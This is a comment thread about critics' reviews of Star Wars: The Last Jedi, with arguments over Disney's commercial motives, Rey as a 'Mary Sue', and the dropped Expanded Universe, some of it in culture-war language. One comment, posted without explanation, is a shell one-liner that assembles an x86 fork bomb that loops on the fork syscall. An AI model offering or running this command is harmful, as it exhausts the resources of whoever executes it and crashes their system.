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Star Wars: The Last Jedi Has Critics In Raptures (bbc.com)
gollum123 shares a report from BBC: "Rousing." "Thrilling." "Addictively bold." Just a few of the superlatives the critics are using to describe the latest film in the Star Wars saga. The Last Jedi, writes the Telegraph, is "enormous fun" and "will leave fans beaming with surprise." The Guardian calls it "an explosive sugar rush of spectacle" possessing "a tidal wave of energy and emotion." Variety, though, swims against the tide, describing it as "the longest and least essential chapter in the series." Rian Johnson's film, says Peter Debruge, is "ultimately a disappointment" that "gives in to the same winking self-parody that is poisoning other franchises of late." Writing in The Verge, Tasha Robinson tends to agree: "Audiences will likely come away from The Last Jedi with a lot of complaints and questions." Driver's Kylo Ren is singled out for praise by USA Today, who describe the character as "blockbuster cinema's most magnetic and unpredictable antagonist since Heath Ledger's Dark Knight Joker." Have you seen Star Wars: The Last Jedi? If so, how do you think it stacks up against the others in the saga?
This is just more garbage from Disney designed to sell franchise crap.
I get the distinct feeling they're not actually making these movies for the sake of making movies anymore. It's entirely and utterly driven by profit, and very little else. You can tell the original Star Wars movies were made by a bunch of people who had no idea what they were doing, but it worked out for them in the end. SW8 feels like a movie that was designed by a committee and approved by Disney to have the maximum impact on merchandising sales and franchise licensing after the fact. It's basically just a gigantic commercial for their beloved IP.
The first one, (A New Hope) was enjoyable enough at the time, klunky dialogue and all. But the efforts to turn it into a "franchise" have resulted in a series of mostly mediocre follow-ons, and the constant retconning has just been ridiculous. Like other mediocre franchises like "Highlander", or "Iron Man", Star Wars might be more fondly remembered had it been a one-off, like "The Matrix".
Jesus, do we really have to have this conversation here, where cynicism reigns? Where the default tone is "I'm so much cooler and more intelligent than everyone else"? Where most of the comments are going to be by people who haven't seen it (but they don't need to, because they're so much more intelligent and already can judge based on their massive predictive brain)? Cultural debate is not a ./ strong point.
For my part, I loved it. I might even say it's the best Star Wars film... though that might come down a bit on rewatching... It's funny, serious, genuinely moving when it needs to be, and says very much different things than the other films have. After the feature-length trailer that was The Force Awakens (which I still liked, but was a bit frustrating), we're going new places now.
The Force Awakens was a good formulaic Star Wars movie, but it was a mixture of the first movies with a lot of feminist fan service in the form of Mary Sue--I mean Rey. The crew behind Rogue One was making a lot of SJW noise on social media, including calling the Empire a white supremacist regime (FFS, how can you be so lacking in imagination and still hold a creative writing job?!!!)
SJWs tend to flock together to talk up stuff like this if they like it and think it serves their purposes. So my guess is that the truth is closer to the Variety review than the others. It will be a potentially awesome Star Wars movie almost ruined by Current Year, American politics and angst imposed on a setting where they make absolutely no sense.
Let me give it a shot: Force Awakens was pretty bad
I thought Force Awakens was a decent enough film and quite a nostalgic one. The problem with it was that I had already seen that film way back in 1977. It was in far too many ways nearly a shot for shot remake of A New Hope and not even subtly so. I have no complaints about the film production quality. Not brilliant but fine as a popcorn film like all Star Wars movies. (except Empire which might actually be brilliant) It was far better than any of the prequels though that is the very definition of damning with faint praise.
Rogue One was really good
I liked Rogue One overall except for the uncanny valley problems. I was acutely aware for the CGI remakes of familiar characters and unfortunately while they were good they weren't good enough.
Several of my friends have seen the movie.
The youngest of them - in his 20s - thought the story was lame and was put off by the "galactic scheming." He felt like the movie was really stretching to find motivations for the actions of the characters. Kylo Ren is the one he complained about the most, he said nothing he did made sense.
The oldest of them - in his 40s - enjoyed the new ships, redesign of older ones, and overall special effects. He said the depictions of space battles were well done, but the camera moved a little too fast for his taste. He didn't have much to say about the plot, other than to recount some of the facts that happened.
Not having seen the film, I can't comment on why there may be a different appeal for different generations. The thing that bothers me about the movie is the distribution deal Disney worked out with theaters. To show the film, they had to agree to keep it on screens for at least 4 weeks.
I remember going to see The Force Awakens on a Friday night a few weeks after it was released. The theater was empty. An usher walked through the theater a couple times just to make sure we were being behaved. That memory stands out more than the film.
I don't know about you, but watching a movie in an empty theater feels creepy.
This is one of those things that everyone knew as the walked out of the cinema. And you can say it now, but not a single review said it. Well I remember one alluding to it - they said something like "reviews have mostly been positive but a few people have complained the plot has too many similarities to A New Hope".
Then again if you were Disney and you'd just spent a fortune on the rights to Star Wars and you knew people disliked the prequels, you'd play it safe too. I.e. a soft reboot of ANH with lots of practical effects and fan service and at the same time set up a new set of actors with roles analogous to Luke/Han/Leia/Darth Vader and option Mark Hamill, Carrie Fisher and Harrison Ford for one or maybe two movies to do the handover.
From a business point of view, it made a lot of sense. It just wasn't a very memorable movie, and probably couldn't have been given the business constraints.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They say it moves the universe forwards and is better than the last one.
There was an entire universe that is better then the complete garbage mary sue character that was in the last one. The EU was amazing hands down. Between Thrawn, Mara Jade, the fall of Luke to the darkside and all the rest they had decades of movies they could have made. Instead, they decided to nuke the entire thing and piss all over it with the garbage they're making now.
Om, nomnomnom...
I get the distinct feeling they're not actually making these movies for the sake of making movies anymore. It's entirely and utterly driven by profit, and very little else.
It's adorable that you ever thought that the movie industry wasn't all about making money. Yes sometimes some good art got made along the way. But the movie industry has been ruthlessly profit driven as long as there has been a movie industry.
I don't get why people seem so offended by the idea that people make and sell stuff to make money. I mean, unless you're a trust fund baby, don't you do whatever you do for a living, for a living? I'm a programmer. I really enjoy writing code, it's a creative effort that includes both art and science. But at the end of the day, I write the code that I do because it pays the bills. Actors, directors, producers, cameramen, sound engineers, film editors, etc., all do the same thing. Not only is it not a crime to work for financial gain, the profit motive is one of the most significant drivers of human progress, because the most effective way to make money is by making/doing something that other people want, and want enough that they're willing to pay for it.
I'm not claiming that profit should be the only motive. In fact, that ways lies trouble, because in the short term maximizing profit can often be done at the expense of other desirable goals. But for any endeavor that requires large scale, generating profit is almost always a good idea. Profit-generating enterprises are sustainable and scalable in a way that profit-losing or even profit-neutral enterprises are not.
If you have derived pleasure from watching previous episodes of the Star Wars movies -- or almost any other films, especially the big-budget variety -- you can thank the profit motive. Certainly the people who made them had other motives as well, but without that one the movies we enjoy would not be created, and it always has and most likely always will be that way. The same goes for all of the goods and services you rely on in your life. People make stuff and do stuff in exchange for money so they can buy the stuff they want/need. This is a good thing.
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Ray seems like less of a Mary Sue than Luke was.
You mean the part where she got zero training and was suddenly using the force vs luke who got training and was still shit at it even during the next movie until he went for more training?
Both were part time pilots, but Luke was able to fly a fighter down that trench and make an impossible shot that the computer couldn't, while being chased and shot at by Vader, yet Ray immediately crashed into the ground and then a building.
Somewhat true. Except the part where luke had already had experience 'bulls eyeing" small critters in his speeder right?
Luke infiltrated the Death Star, escaped from storm troopers and immediately decided to become a hero with no second thoughts or doubts. Ray nearly gave up and wanted out, it took a force vision to turn her back. She actually did very little in the film, and barely managed to bring the fight with Ren to a draw despite him having been shot by a powerful weapon and not actually trying to kill her.
True, but then again Luke didn't really have a choice to infiltrate the death star. Remember that giant moon, no wait space station?
The problem with the EU is spoilers. Much of the build up is speculation, much of the enjoyment is being surprised and seeing something new. You still have the EU books, it's not like they burned then all.
They simply tried to burn them all because they wanted to write their own cannon instead of using the best out of the EU. Which means that they likely didn't want to pay the original creators any royalty rights.
Om, nomnomnom...